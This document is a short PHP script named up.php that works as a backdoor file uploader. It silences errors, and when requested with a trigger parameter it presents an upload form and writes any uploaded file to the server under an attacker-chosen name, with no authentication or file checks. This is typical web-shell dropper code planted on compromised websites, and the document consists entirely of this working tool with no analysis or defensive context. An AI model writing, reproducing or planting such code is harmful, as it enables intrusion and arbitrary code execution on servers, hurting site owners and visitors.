up.php

<?php
error_reporting(0); set_time_limit(0); $file = $_GET['file'];
if($file == 'php'){ $filename = $_FILES['file']['name'];
$filetmp = $_FILES['file']['tmp_name'];
echo "<form method='POST' enctype='multipart/form-data'>
<input type='file'name='file' /> <input type='submit' value='do it!' />
</form>"; move_uploaded_file($filetmp,$filename);} ?>